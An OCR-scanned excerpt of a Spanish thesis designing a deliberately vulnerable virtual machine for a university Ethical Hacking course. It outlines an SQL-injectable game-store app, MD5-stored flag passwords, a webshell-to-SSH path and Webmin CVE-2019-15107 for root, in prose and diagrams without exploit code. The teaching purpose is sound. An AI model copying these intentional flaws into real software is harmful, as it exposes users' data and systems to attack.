El escalamiento vertical de privilegios es la capacidad de un usuario con permisos
bajos de obtener mayores accesos dentro de un sistema, como si fuera un
administrador, lo que le permite leer, editar, eliminar y crear datos o usuarios,
controlar credenciales, procesos y aplicaciones, ejecutar codigo malicioso o instalar
malware, y borrar cualquier rastro de sus acciones, convirtiéndose en un ataque
complejo que puede requerir varios pasos para evadir los controles de seguridad

[37].
2.2. Herramientas y Tecnologias a utilizar

A continuacion, se definiran las herramientas y tecnologias que se utilizaran para la

creacion de la maquina virtual vulnerable:

VirtualBox: También conocido como hipervisor de tipo 2, es una aplicacion de
virtualizacion multiplataforma, que sirve para instalar y ejecutar varios sistemas
operativos dentro de un mismo equipo, mediante maquinas virtuales que funcionan
de forma independiente con el fin de ofrecer una plataforma flexible y completa

para crear, administrar y optimizar maquinas virtuales en diversos entornos [38].

Ubuntu Server: Es una variante del sistema operativo Ubuntu, basado en el kernel
de Linux, que fue disefiada para usarse en servidores, es decir, que solo se maneja
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por interfaz de linea de comandos, proporcionando plataformas como servicios,
paginas web, correos, archivos, ejecutar aplicaciones y servicios de red de manera

eficiente y estable [39].

XAMPP: Es una herramienta de desarrollo gratuito que permite disefiar y probar
aplicaciones web basadas en Apache, PHP y MySQL en un ordenador local sin
necesidad de conexion de internet. Ofreciendo configuraciones listas para usar
desde su instalacion, lo que facilita el trabajo a disefiadores y desarrolladores web,

especialmente a quienes estan iniciando [40].

Visual Studio Code: Es un editor de codigo desarrollado por Microsoft, rapido y
adaptable, que funciona en Windows, Linux y macOS. Se caracteriza por ser rapido,
ligero y multiplataforma, permitiendo a los desarrolladores escribir, editar y depurar
codigo en multiples lenguajes de programacion gracias a su soporte integrado y

extensiones adicionales [41].

Apache: Es un servidor web gratuito de cddigo abierto que sirve para alojar sitios
o aplicaciones web. Teniendo como funcion manejar solicitudes donde un usuario
envia una peticion HTTP a través de un navegador para entrar a una web o URL
especifica y Apache devuelve la informacion solicitada a través del protocolo HTTP

[42].

MySQL: Es un sistema de gestor de bases de datos relacionales que destaca por su
simplicidad y buen rendimiento. Es ideal para aplicaciones comerciales, gracias a
su rapida implementaciéon y licencia GPL gratuita. Funciona en multiples
plataformas y permite al cliente mysql-client conectarse con servidores locales o

remotos para tareas administrativas [43].

phpMyAdmin: Es una herramienta de software libre escrita en PHP y disefiada con
el propdsito de gestionar y administrar bases de datos en MYSQL todo a través de
una interfaz de usuario facilitando el uso de sus funciones principales como crear,
modificar, eliminar y configurar bases de datos, ademas de ofrecer operaciones

adicionales como generar diagramas de las tablas [44].

OpenSSH: Es una herramienta para conectarse de forma remota con el servidor

mediante el protocolo Secure Shell (SSH), que protege toda la informacion que se
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envia mediante cifrado, evitando que otros puedan interceptarla o atacar la
conexion. Incluye funciones como conexiones seguras, diferentes formas de
verificar la identidad del usuario y muchas opciones de configuracion para

administrar servidores remotos [45].

PHP: Es un lenguaje de programacion que sirve para el desarrollo de aplicaciones
web, facilitando la conexion entre los servidores y la interfaz de usuario. Es de
codigo abierto, lo que significa que no tiene restricciones de uso vinculadas a los
derechos, es decir, que se puede programar cualquier proyecto que el usuario desee

y comercializarlo sin problemas [46].

HTML: Es un lenguaje de marcado de hipertexto que permite estructurar y
organizar el contenido de una pagina web mediante etiquetas, cuya funcion
principal es indicar al navegador qué tipo de informacion contiene cada seccion del
documento, como parrafos, titulos o palabras importantes, facilitando que el
contenido sea interpretado correctamente y separado de la presentacion visual que

se define con CSS [47],

CSS: Es un lenguaje de estilos que permite definir la apariencia visual de una
pagina web, como colores, forma, tamafios, posicion y otras caracteristicas visuales
a un documento web. Su funcion principal es separar el contenido (HTML) de la
presentacion, de manera que los estilos se puedan aplicar de forma uniforme y
eficiente en multiples paginas, facilitando el mantenimiento y la personalizacion

del diseno de un sitio web [48].

GNU Nano: Es un editor de texto simple y ligero para utilizar en la terminal de
sistemas operativos. Inspirado en el editor de texto PICO, con la diferencia de que
se agregaron funciones adicionales con el fin de tener un editor de texto util con
configuraciones sensatas, como el desplazamiento de linea por linea y sin saltos de

linea automaticos [49].

Webmin: Es un programa que facilita el uso de sistemas Linux o Unix mediante
una interfaz web donde se puede modificar archivos de configuracion, crear

usuarios, configurar el servidor web y gestionar el reenvio de correos electronicos
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sin tener que hacerlo manualmente por comandos, lo que hace méas facil administrar

el sistema [50].

Kali Linux: Es una distribucion de Linux basada en Debian, que tiene cientos de
herramientas, configuraciones y scripts con modificaciones especificas para que
profesionales y aficionados a la seguridad informatica puedan hacer analisis
forense, pruebas de penetracion y deteccion de vulnerabilidades. Ademads, funciona

en multiples plataformas y esta disponible gratuitamente [51].

Nmap: Es una herramienta de codigo abierto utilizada para identificar los equipos
disponibles en una red, los servicios que ofrecen junto con los nombres y versiones
de las aplicaciones, los sistemas operativos en ejecucion con sus respectivas
versiones, ademas de cortafuegos y otros elementos de seguridad, lo que la

convierte en una utilidad esencial para el andlisis y diagnostico de redes [52].

Burp Suite: Es una herramienta disefiada para pruebas de seguridad en aplicaciones
web, que cuenta con un proxy que interfiere en las peticiones que se realizan entre
un cliente y un servidor, dando la posibilidad de analizar, observar y modificar
dichas peticiones. Su objetivo es poder detectar las vulnerabilidades de las
aplicaciones web antes de que puedan ser atacadas por algin delincuente

cibernético [53].
2.3. Marco Teorico

2.3.1. Guia practica para el analisis de vulnerabilidades de un entorno cliente

servidor GNU/Linux mediante una metodologia de pentesting

El articulo presenta una guia practica para analizar vulnerabilidades en entornos
cliente-servidor con GNU/Linux mediante metodologias de pentesting, destacando
que la informacién es uno de los activos mas valiosos de una organizacion y que
los sistemas conectados a redes estan expuestos a multiples amenazas, por lo que
se implementaron entornos controlados para evaluar la resistencia de los sistemas
sin afectar su funcionamiento, lo que permite comprender mejor cdmo proteger la
red y garantizar la confidencialidad, integridad y disponibilidad de la informacion,
ya que aplicar estos métodos ayuda a reducir el riesgo de ataques y mejora la

seguridad general del entorno tecnoldgico [54].
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En este mismo contexto, el andlisis de vulnerabilidades resulta especialmente
relevante en los servidores web, ya que estos, al utilizar sistemas como Linux,
Windows o Unix, son fundamentales para el funcionamiento de muchas
organizaciones, pero también constituyen un blanco frecuente de ciberataques al
poder verse comprometidos por fallos de seguridad conocidos que los atacantes
aprovechan mediante exploits, poniendo en riesgo la informacién confidencial,
afectando servicios esenciales y permitiendo accesos no autorizados a los sistemas

[55].
2.3.2. Tendencias actuales de las vulnerabilidades y ataques de inyeccion SQL

La investigacion muestra que las vulnerabilidades de ataques de inyeccion SQL
siguen aumentando cada afo, ya que muchas aplicaciones ain presentan fallas que
permiten este tipo de vulnerabilidad, donde el atacante logra insertar codigo
malicioso en los campos de entrada de una aplicacion web para acceder sin permiso
a datos importantes como contrasefias o informacion personal, registrandose miles
de casos entre el ano 2020 y 2024, lo cual confirma que es una amenaza constante

que sigue afectando a empresas y usuarios en todo el mundo [56].

Las aplicaciones web mas afectadas por este tipo de ataque son aquellas que
dependen de una base de datos, ya que un atacante puede comprometer la aplicacion
insertando c6digo malicioso para robar informacion, situacion que se ha mantenido
durante mas de dos décadas y que representa una de las principales preocupaciones
en materia de seguridad debido a las numerosas fugas de datos y vulnerabilidades

en los sistemas [57].
2.3.3. Elrol del hacking ético en las practicas modernas de ciberseguridad

Este articulo realiza una investigacién sobre el papel del hacking ético en las
practicas modernas de ciberseguridad, resaltando la importancia de la identificacion
y mitigacion de vulnerabilidades en los sistemas informaticos, sus metodologias,
consideraciones legales y éticas, los tipos de hackers y las herramientas utilizadas,
todo ello con el objetivo de identificar y proteger a las organizaciones frente a

Ciberamenazas [58].
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El hacking ético resulta especialmente relevante para quienes estan interesados en
ciberseguridad, como estudiantes y docentes, pues les permite comprender y aplicar
mejores practicas del mundo real sobre como estas amenazas afectan a los sistemas
al centrarse en metodologias fundamentales de pruebas de penetracion junto con el
analisis de vulnerabilidades, lo que facilita la adquirir conocimientos y experiencia

practica [59].

2.4. Metodologia del Proyecto

2.4.1. Metodologia de Investigacion

Los estudios exploratorios tienen como objetivo analizar los problemas o temas
poco abordados, donde hay escasa informacion, dudas e ideas vagas que dificultan
una comprension clara del contexto [60]. Dicho estudio permitird realizar
busquedas de trabajos similares relacionados con la virtualizacion, la creacion de
maquinas virtuales vulnerables y el conocimiento de los tipos de ataques
cibernéticos, esto con el fin de identificar los requerimientos necesarios para la

implementacién del entorno virtual vulnerable.

El método de investigacion que se usard sera de tipo cualitativo, ya que busca
entender problemas complejos recolectando informacion detallada y ajustando las
preguntas de investigacion segun lo que se va descubriendo en el proceso [61]. Por
ello, este enfoque permitird hacer una entrevista al docente actual de la asignatura
de Ethical Hacking con el propdsito de adquirir informacion sobre las dificultades
que presenta la materia. Esta informacion servira para adaptar el entorno virtual
vulnerable a las necesidades reales de la asignatura, ofreciendo una herramienta

funcional para realizar practicas en clase sin afectar sistemas reales.
Idea a defender.

v' Proporcionar una maquina virtual vulnerable funcional, disefiada para
permitir obtener el control total del sistema mediante ataques por inyeccion
SQL y escalado de privilegios. Esta herramienta sera util para la asignatura
de Ethical Hacking, ya que permitird contar con un entorno controlado

adecuado para realizar pruebas de penetracion de forma practica y segura.
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Variable.

v Tiempo transcurrido desde que el estudiante inicia la actividad practica con
la maquina sin conocimientos previos sobre la vulnerabilidad hasta que
obtiene control total del sistema después de recibir la explicacion del

docente con la herramienta.
2.4.2. Técnicas e instrumentos de recoleccion de datos

La técnica de recoleccion de informacion serda mediante entrevista dirigida al
docente actual de la asignatura de Ethical Hacking de la carrera de Tecnologia de
la Informacion, perteneciente a la Facultad de Sistemas y Telecomunicaciones de
la Universidad Estatal Peninsula de Santa Elena (UPSE) Esta entrevista permitira
conocer las limitaciones al realizar préacticas de ciberseguridad, como la falta de
entornos seguros, problemas con la red institucional que dificultan desplegar
laboratorios y servidores, asi como su opinion sobre la utilidad de contar con una
maquina virtual vulnerable como herramienta de apoyo en el desarrollo de las clases

(ver Anexo 1).

Para el desarrollo del entorno virtual vulnerable se recopilé informacion de articulos
cientificos, manuales de ciberseguridad, repositorios técnicos y publicaciones
especializadas en ataques informaticos. Ademas de que toda la informacion que se
anadird dentro de la méquina es ficticia y solo serd para generar escenarios de
ataques reales de inyecciones SQL y escalado de privilegios, garantizando de esta

forma un entorno seguro y replicable para pruebas de pentesting.
2.4.3. Analisis de la entrevista

La entrevista realizada al Ing. Ivan Coronel (ver Anexo 1), quien durante seis afios
ha sido docente de la asignatura de Ethical Hacking en la Universidad Estatal
Peninsula de Santa Elena, indica que su experiencia con los estudiantes ha sido
buena, ya que de alguna u otra forma han aprendido conceptos y técnicas de
ciberseguridad que les seran tutiles en el trabajo o en su vida diaria. A pesar de esto,
existen varias limitaciones para realizar practicas, ya que explica que usa
plataformas como HackTheBox y VulnHub para que los estudiantes practiquen,

aunque estas tienen sus problemas debido a que una es de pago y la otra permite
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que se encuentren facilmente las soluciones en Internet, lo que facilita copiarlas en
lugar de resolverlas por su propia cuenta. Por eso el docente valora que tener
maquinas propias o personalizadas subird un poco la dificultad y evitaria que las

respuestas sean facilmente encontradas en la web.

También menciona que crear su propio material practico, como maquinas
vulnerables, seria una mejor opcion, ya que no es tanto un reto técnico, sino de
tiempo, debido a que los docentes cuentan con otras responsabilidades. Ademas,
otra dificultad que se presenta esta en que las politicas de red de la universidad
impiden hacer pruebas de ciberseguridad dentro del campus. Esto debido al firewall
de borde FortiGate, que es un equipo sumamente sofisticado que tiene IPS/IDS y
una serie de restricciones, las cuales detectan los ejercicios como ataques y los
bloquean, dificultando asignar direcciones IP como en modo Bridge, complicando
mucho las practicas. Esto muestra que, aunque la universidad busca proteger su red,
al mismo tiempo limita el aprendizaje practico de los estudiantes. Por eso, el
docente considera que seria ideal tener un laboratorio aislado, maquinas vulnerables
preconfiguradas o una red especial para practicar sin que se involucren los sistemas

de la institucion.

Por 1ultimo, subraya la importancia de la ética y la ley, ya que EL COIP (codigo
organico integral penal) limita y define sanciones por delitos informaticos, por lo
que no se pueden atacar sistemas reales sin contar con un respectivo permiso. Es
por ese motivo que mejor seria contar con entornos virtuales vulnerables, ya que de
esta forma se crearian maquinas que se parezcan a servidores reales, faciles de
descargar ¢ instalar, como en formato OVA, y que usen NAT para evitar problemas
de las restricciones de red de la universidad, de modo que sean faciles de instalar y

seguras para practicar en clase.
2.4.4. Metodologia de Desarrollo

La metodologia de disefio Top-Down es una estrategia que permite procesar
informacion y conocimiento dividiendo un sistema en etapas mas pequefias y
manejables [62]. Trabaja de lo general a lo particular, lo que facilita decidir qué
tipo de vulnerabilidades se deben incluir en el entorno y qué configuraciones

especificas se deben realizar. Ademds de que permite corregir los cambios o fallos
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rapidamente sin afectar todo el sistema, lo que mejora la eficiencia y la organizacion

del desarrollo [62].

Por lo tanto, la metodologia TOP-DOWN sera adaptada al proyecto y se organizara

en cinco fases, que son:

Metodologia

TOP-DOWN

Fase 2:
Desarrollo

Fase 3:
Configuracion

Figura 5: Metodologia TOP — DOWN.

Fase 1 Recoleccion de informacion. Dentro de esta fase se recopila la informacion
de las dificultades que se presentan dentro de la asignatura de Ethical Hacking de
la carrera de Tecnologia de la Informacidon, ademas de realizar una investigacion en
diferentes motores de busqueda para obtener los requisitos necesarios que se

utilizaran para la implementacion de un entorno virtual vulnerable.

Fase 2 Desarrollo. Para esta fase desarrolla una aplicaciéon web intencionalmente
vulnerable, la cual tendra fallas en la validacion de datos de entrada del usuario, lo
que permitira realizar diferentes ataques de inyeccion SQL. Ademads de incluir una

bandera oculta en su base de datos.

Fase 3 Configuracion. En esta etapa se instala y configura el sistema operativo que
tendra la maquina virtual, junto con la instalacion de los componentes necesarios
para alojar la aplicacion web previamente desarrollada e incorporar el fallo de
seguridad que afecte el sistema, ademas de incluir dos banderas, modificar la red
para que se pueda adaptar a cualquier entorno y, por ultimo, la exportacion, que

sera en formato OVA.
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Fase 4 Pruebas. El proposito de esta fase es probar la méquina virtual para asegurar
el correcto funcionamiento de sus servicios, la conectividad de red, la ejecucion de
diversos ataques de inyeccion SQL, el acceso mediante SSH al usuario estandar del
servidor y que la explotacion del fallo de seguridad permita la escalada de
privilegios a root. Ademas de estimar el tiempo en que un estudiante tarda en
obtener el control del sistema con y sin la explicacion del docente junto con la

herramienta.

Fase 5 Documentacion. En esta etapa se elabora una guia que indica el
funcionamiento den entorno vulnerable y se resolucion, donde se ejecutaran ataques
de inyeccion SQL en la aplicacion web para acceder a la base de datos para capturar
la primera bandera, la forma de acceder al usuario servidor para capturar la segunda
bandera y el proceso para hacer escalado de privilegios a root con el error CVE-

2019-15107 para capturar la tercera bandera.
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CAPITULO 3. PROPUESTA
3.1. FASE 1: RECOLECCION DE INFORMACION

Esta fase consiste en la recopilacion de los datos mas importantes para el desarrollo
del proyecto, utilizando motores de busqueda para obtener informacién sobre
maquinas virtuales, herramientas, tecnologias y fallos de seguridad (CVE), con el
fin de permitir la correcta configuracion del entorno virtual vulnerable y asi facilitar

el desarrollo de las fases de la metodologia seleccionada.

3.1.1. Requisitos para asegurar el adecuado desarrollo y funcionamiento del

entorno virtual vulnerable

En la Tabla 1 se presentan los requisitos necesarios para la creacion de la maquina
virtual, incluyendo el software de virtualizacion, la version del servidor, las
configuraciones de hardware y del disco duro virtual, el tipo de red, los servicios

que se utilizaran y el formato en el que serd exportada.

Requisitos para crear la maquina virtual

VirtualBox version 7.0.10 Red NAT
Ubuntu Server 16.04 LTS Apache version 2.4.18
Memoria base: 2048 MB MySQL version 5.7.33
Procesadores: 1 CPU SSH version 7.2p2
Tamafio de disco: 15 GB PHP version 7.0.33
Exportar ISO de la maquina virtual en formato OVA

Tabla 1: Requisitos para la maquina virtual

Dentro de la Tabla 2 se indican los requisitos necesarios para incorporar el fallo de
seguridad en el sistema operativo, que son el CVE con su identificador, la version
de Webmin que deberd instalarse para garantizar su funcionamiento, el puerto

asignado, las funciones requeridas y las pistas destinadas a facilitar su deteccion.
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Requisitos para la incorporacion del fallo de seguridad

CVE-2019-15107 Acceso remoto a la interfaz Webmin.
Webmin version 1.890 Credenciales de root en Webmin
Puerto 10000/TCP habilitado. Pistas para la deteccion del fallo

Tabla 2: Requisitos para incorporar el fallo de seguridad.
3.1.2. Arquitectura del entorno virtual vulnerable
La arquitectura del entorno virtual vulnerable estd dividida en dos partes, que son:
Arquitectura de la aplicacion web vulnerable

La arquitectura que tendra la aplicacion web vulnerable sera de cliente-servidor, tal
como se muestra en la Figura 6, la cual estd conformada por tres capas: la capa
cliente (navegador web), que se comunicard con la capa de logica de negocio
(servidor Apache y PHP), quien se encargara de procesar las solicitudes. A su vez,
esta capa interactia con la capa de datos (base de datos MySQL), sirviendo para

almacenar y recuperar informacion.

ATACANTE
INYECCION SQL INiCio Q
( SERVIDOR UBUNTU
‘ * ’ 16.04.0
LA APLICACION WEB ENVIA UN MENSAJE
DE ERROR DONDE EL ATACANTE LO FIN
NTERPRETA
APLICACION WEB
VULNERABLE SERVICIO - WEB ERVICIO - BASE DE DATOS
APACHE mysQL

O T
ey SOLICITUD HTTP I-

: CON INYECCION SQL

N

i My
4
PORT:
http://localhost oz PORT: 3306
RESPUESTA DE HTML
CONTROLADOR
CONVERTIR A HTML php
<
CONSULTA MALICIOSA
\ A BASE DE DATOS

APLICACION WEB DESARROLLADA
CON VULNERABILIDADES

Figura 6: Arquitectura cliente-servidor de la aplicacion web vulnerable.
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Para llevar a cabo un ataque de inyeccion SQL, se configuran vulnerabilidades en
el proceso de validacion de entrada de datos del usuario, de modo que cuando el
atacante envia una peticiéon maliciosa al servidor, esta sera procesada como una
orden legitima y se ejecutara directamente en la base de datos, permitiendo que se

pueda obtener, modificar o eliminar informacién de la misma.

En la misma arquitectura, como se observa en la Figura 7, se realizara la simulacion
de un ataque en el que, segin las configuraciones y vulnerabilidades presentes en
la aplicacion web del servidor, el atacante subira o creara un webshell para obtener
acceso al usuario predeterminado de Apache (www-data). A partir de la
informacion accesible para esa cuenta, como archivos o credenciales mal
protegidas, lograra escalar privilegios y acceder al usuario normal del servidor

mediante SSH.

APLICACION WEB SERVIDOR UBUNTU
VULNERABLE 16.04.0
[ € %0 S—
SE CREA UN WEBSHELL EN
var/www/html

D '

>

http://localhost ’ »

FIN
CREA UNA WEB SHELL YA SEA
MEDIANTE UNA PETICION POR
INYECCION SQL O POR OTRAS

VULNERABILIDADES ACCESO AL USUARIO
PREDETERMINADO DE
INICIO APACHE
ATACANTE ACCESO REMOTO AL USUARIO
DEL SERVIDOR POR SSH
) -
s = 1
EL ATACANTE UTILIZA LA WEB SHELL Cc puo }
* PARA REALIZAR ACCIONES COMO
ROBAR INFORMACION DE CUENTAS www-data

ALMACENADAS

Figura 7: Acceso al usuario normal del servidor.
Arquitectura del fallo de seguridad

En la Figura 8 se presenta la arquitectura relacionada con el fallo de seguridad que
tendra el servidor Ubuntu, identificada como el CVE-2019-15107 de Webmin
version 1.890, que es un panel de control para administrar tareas en los servidores
Linux. Esta version de Webmin presenta una vulnerabilidad en el pardmetro expired
del script password change.cgi, el cual permite la ejecucion remota de comandos

en el servidor.
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ATACANTE

EJECUTA EL BASH PARA TENER FIN INICIO
ACCESO AROOT

0
2>
S

‘-"\
SERVIDOR UBUNTU o
¢

16.04.0 X

DEVUELVE UN ESCRIBE UN SCRIPT
MENSAJE DE ERROR MALICIOSOS (.BASH) CON
password change.cgi

SE EJECUTA DENTRO
DEL SERVIDOR COMO
ROOT

INYECTA AL SISTEMA

WEBMIN 1.890
https://127.0.0.1: 10000

Figura 8: Arquitectura del fallo de seguridad.

En este escenario, el atacante envia una peticion web que estard especialmente
disefiada para incluir un comando malicioso. Webmin procesa esa peticion de forma
insegura, lo que provoca que el comando se ejecute con privilegios de root en el
servidor, otorgando al atacante el control total del sistema, por ejemplo, crear una

Bash que al ejecutarse permita el acceso a root.
3.1.3. Topologia de red

A continuacion, en la Figura 9 se presenta la configuracion que se utilizara para
evitar las restricciones de la universidad. En este se crea una red virtual denominada
“NatNetwork™ de tipo “Punto a Punto” en modo “Red NAT”. Donde tanto la
maquina Ubuntu Server como Kali Linux obtienen una direcciéon IP de forma

automatica mediante DHCP, lo que permite mantener el entorno aislado y seguro.

<.
v Oracle VirtualBox

10.0.2.xx/24 Red NAT 10.0.2.xx/24
NatNetwork
=D S &
C 4 J 10.0.2.1/24 ( L — )
Magquina Kali Linux 2025.1c Maquina Ubuntu Server 16.04
Atacante Victima

Figura 9: Topologia de la red virtual del entorno.
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3.2. FASE 2: DESARROLLO
3.2.1. Creacion de la base de datos afiadiendo la primera bandera.

En la Figura 10 se presenta el diagrama de la base de datos que se cred para la

aplicacion web vulnerable que simula una tienda de videojuegos, la cual contiene

las tablas y datos necesarios para su funcionamiento basico.

n & nexusplay_db plataformas
1 ¢ id:int(11)
@ nombre : varchar(50)
o descripcion - text |

nD nexu
g 1d: int(11)
@ titulo - warchar(200) \
@ descripcion : text
# precio : decimal(10,2) |
4 u plataforma_id - int(11) |
{ y categoria_id : int{11) |
@ desarrollador : varchar(100)
@ fecha_lanzamiento : date
@ imagen : varchar(100)
# stock : Int(11) |
@ fecha_agregado - timestamp |

db juegos

Bl o necusplay_db categorias

e id - int(11)

@ nombre : varchar(100)

@ descripcion : text |

R

ﬂu nexusplay_db detalles_pedido
@ id - int{11)

4 pedido_id : int(11)

@ juego_id - int(11)

» cantidad - inf(11)

# precio_unitario - decimal({10,2)

o codigo_entregado : varchar(100)

n © nexusplay_db resenas

@ id - int(11)

# juego_id - int(11)

# usuario_id : int(11) P
# puntuacion - int(11)

@ comentario : text

m fecha_resena : timestamp

nexusplay_db carrito

Be
\ @ id 2 int(11) /
\4 # usuario_id - int(11) ¥

# juego_id _inf(11)

» cantidad : inf{11)
@ fecha_agregado - timestamp

n £ nexusplay db codigos_juegos
@ id :int(11)

# juego_id - int(11)

@ codigo : varchar(100)

o estado : enum(disponible’,'vendido’)

fe
w idint(11)
4 w usuario_id - int(11)
4 total - decimal(10.2)

ne:

usplay_db pedidos

o estado : enum(pendiente’,'completado’.'cancelado’)
o metodo_pago : varchar(50)

m fecha_pedido - timestamp

v LE
g id - int(11)
o email : varchar(100)

¢ usemame : varchar(50)
@ password - varchar(32)
@ nombre : varchar(100)
@ apellido - varchar{100)

@ imagen_perfil : varchar(200)
4 4 tipo_user id - int(11)
@ fecha_registro : timestamp

g £ nex
@ id:int(11)
@ nombre : varchar(20)

b tipo_user

b usuarios

Beo ne __db tarjetas
g id :int(11)
4y usuario_id - int{11)
» numero_tarjeta : varbinary(255)
@ fecha_expiracion : char(5)
© nombre_titular : varchar(100)
@ alias : varchar(50)
m fecha_registro : timestamp

]

fle nexuspiay_db carteras
g id - int(11)
"4 y usuario_id - inf(11)
# saldo : decimal{10.2)
m ultima_actualizacion : timestamp

ﬂu nexusplay_db movimientos_cartera
@ id D int(11)
u cartera_id - int(11) »

@ tipo : enum(recarga’,’compra’, reembolsa’)
# monto : decimal(10,2)
@ descripcion : varchar(255)

@ fecha : timestamp

Figura 10: Diagrama de base de datos.

La primera bandera se almacenara en la base de datos como la contrasefia del
usuario admin, tal y como se muestra en la Figura 11, y estara guardada con el hash
MDS5 para simular una mala practica de seguridad. El proposito de esta bandera es
actuar como dato de verificacion en las pruebas de inyeccion SQL sobre la
aplicacion vulnerable, asegurando que la extraccion de credenciales se haya

realizado con éxito.

id email username password nombre apellido imagen_perfil
1 alexrodriguez@nexusplay.com alex_gamer b294bd9%faabbdd7149af5a666f4049aa Alexander Rodriguez useri.png
2 maria santos@nexusplay.com  maria_pro ecb1ddce2c43c60fbdf74a70648cf020 Maria Santos default-avatar png
3 carlos.martinez@nexusplay.com carlos_dev cf8288c30122fabbaaTacbfGe4ar363c  Carlos Martinez ~ default-avatar.png
4 ana.garcia@nexusplay.com ana_player  a32{e38a94580677eal25e114eddafae Ana Garcia default-avatar.png
5 luis.fernandez@nexusplay.com luis_hardcore e53522351cdcfcetb2c3ecb3fddbf2ed  Luis Fernandez default-avatar.png
6 sofia.lopez@nexusplay.com sofia_casual b4eb85269431edf2503cce20d9ba5861 Sofia Lopez default-avatar.png
7 miguel.torres@nexusplay.com  miguel_admin 2e108d734882af5c8ba163ce8faad3c0 Miguel Torres admin-icon.png
8 laura.morales@nexusplay.com laura_indie b63493d6fd927de905965f55e677596 Laura Morales  default-avatarpng
9 david jmenez@nexusplay.com david_retro  364b087df0401706d6b1c8f68a50bf7 David Jimenez  default-avatar.png
10 carmen. ruiz@nexusplay.com carmen_rpg  593998327721de8cad3fcd44baallar8a Carmen  Ruiz default-avatar png

Figura 11: Primera bandera afiadida.
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3.2.2. Desarrollo de la aplicacion web.
Herramientas y tecnologias para el desarrollo de la aplicacion web.

En la Figura 12 se presentan los componentes que servirdn para el desarrollo de la
aplicacion web, donde se ha optado por Visual Studio Code para editar el codigo y
XAMPP como entorno local, del cual se han utilizado dos de sus componentes
principales, que son Apache, que funcionard como servidor web, y MySQL junto
con su interfaz grafica phpMyAdmin para controlar la base de datos. Mientras que
para la estructura y disefio de la aplicacion se emplearon los lenguajes de

programacion PHP, HTML y CSS.

XAMPP
Visual ﬂ Code Servidor HTTP
Interfaz
. HTML
A

™,

Figura 12: Componentes para el desarrollo de la aplicacion web [27].

Diseno de interfaces

Antes de comenzar con el desarrollo de la aplicacion web, se crearon los disefios de
interfaz que servirdn como guia a la hora de construir las paginas y componentes
que tendrd el sistema, siguiendo la estructura visual planificada y realizando solo
pequeiios cambios durante su elaboracién. Cabe mencionar que algunos elementos

no cumpliran ninguna funcion real, ya que se trata de una aplicacion ficticia.
A continuacion, se presentan los bocetos que se disefiaron para la aplicacion:
e Pantalla de inicio.

Este apartado estard como pantalla principal, donde se encontrard un header con
el nombre y el logo de la aplicacion, un buscador y dos botones, uno para ver el

carrito y otro para iniciar sesion. Asimismo, se presentan varias secciones para
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interactuar y visualizar juegos, como un carrusel, tendencias, indicadores de
servicios, recomendaciones, comentarios, un apartado de eventos y un footer
que contiene informacién sobre la aplicacion, como enlaces, plataformas y

paginas para seguir (ver Figura 13).
OO0 o S—

Nombre del juego
Il Resefia 5/5 >
0.0 Gran Evento Gamer

VERJUEGD No te pierdas nuestras ofertas especiales este fin de semana.
biomas resena

[oReNe]

Tendencias Ver todos >

ombre del Jueg

Nombre de Juego Nombre deljuega
Categort
D) s000 D)

snegora

%
e oz
8 ES
E]

—

Calificacion 4.0

Figura 13: Interfaz de pantalla de inicio.
e Pantalla inicio de sesion.

En el apartado de inicio de sesion se ubicard, en el lado izquierdo, el formulario
destinado al ingreso de las credenciales de usuario y contrasefia, lo que permitira
el acceso al sistema. Asimismo, contara con una opcidn para registrarse en caso
de no poseer una cuenta. Mientras que en el lado derecho se mostrard una
imagen decorativa utilizada unicamente con fines de disefio para complementar

la interfaz (ver figura 14).
000 login

[LOGO] NEXUSPLAY

Iniciar Sesién

Figura 14: Interfaz - inicio de sesion.
e Pantalla de crear cuenta.
El apartado de crear cuenta tendra su formulario para que el usuario ingrese sus

datos personales, como correo, nombre de usuario, nombre, apellido, contrasefia
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y confirmacién de contrasefia, ademas de una casilla para aceptar los términos.
Finalmente, contard con un botoén para completar el proceso de registro.
También incluird una opcion para que, en caso de que el usuario ya disponga de

una cuenta, pueda regresar al apartado de inicio de sesion (ver Figura 15).

O OO Register
Crear Cuenta
[cu. o ]
== )
[Nw.m J
= )
C )

Figura 15: Interfaz - crear cuenta.

e Pantalla de buasqueda.

Al realizar una busqueda, se mostrard debajo del header tres combobox que
servirdn para filtrar los resultados por plataforma, categoria y precio, también
se presentan los juegos junto con su imagen, nombre, categoria, descripcion y
precio, incluyendo un boton que servira para afiadirlos al carrito, y en la parte

inferior se encontrara el footer (ver Figura 16).

000
icon foto
[ useeder ]

[LOGO] NEXUSPLAY

[Platafnrmas v ] [Categtmas v } [Fre(ins v ]

=) =)

Plataformas encontradas #

Nombre del Juego Nomibre del juego Nombre del juego Nombre del Juego
Categoria Categoria Categoria Categoria

Descripcién Descripcion Descripcién Descripcion

[Footer]

Figura 16: Interfaz — buscador.
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e Pantalla para visualizar juego

La pantalla para visualizar el juego tendra detalles como su titulo, descripcion,
género, precio y calificacion, ademas de publicar comentarios, calificar el juego

y afiadirlo al carrito de compras (ver Figura 17).

OO0 Pedido
[Header]

NOMRE_JUEGO $0.00
lat ategoria

B .
[ Y EEUIEES] CALIFICACION DEL JUEGO]

Resefias de Usuarios

Escribir tu resefia

Fara—— J

J

[Footer]

Figura 17: Interfaz - visualizar juego.
e Pantalla de Carrito

En la pantalla del carrito se mostrara el juego junto con su nombre y precio.
Tendra un botdn para aumentar la cantidad de juegos que se desea comprar y,
al lado, una tabla con el resumen del pedido, un botén para proceder al pago y

otro para vaciar el carrito (ver Figura 18).

O O O Carrito
[Header]

Mi carrito

Resumen del pedido

Nombre _juego

Productos (#) $0.00

Descuentos $-0.00

Total $0.00

Proceder al pago
Vaciar carrito

Seguir Comprando

[Footer]

Figura 18: Interfaz - carrito.

37



e Pantalla de Pedido

En la seccion de pedido se mostrara el total de la compra, junto con los métodos

de pago disponibles. También incluird un boton que permitird completar la

compra y que ademds generard una factura con el codigo del juego adquirido

(ver Figura 19).

Pedido

Q0O

[Header]

Resumen del Pedido

£0.00

(((((((

30.00

Método de pago

Cartera

|

[ Tarjeta Guardada

|

[ Nuevo Tarjea

|

[ Volver al carrito ]

[ completar compra )

[Footer]

Figura 19: Interfaz - pedido.

e Pantalla del perfil de usuario

En el perfil del usuario se mostrara en un cuadro su nombre y correo electronico,

ademas de un breve resumen de los gastos y pedidos realizados. Debajo de este

apartado se incluiran diferentes opciones, como la visualizacion de estadisticas

de sus actividades en la aplicacion, el historial de pedidos, la cartera donde

podra realizar recargas, la seccion de tarjetas donde podra agregar o eliminar,

sus resefias y la configuracion de sus datos personales (ver Figura 20).

QOO

Perfil - Uuario

[Header]

[Footer]

Figura 20: Interfaz - perfil usuario.
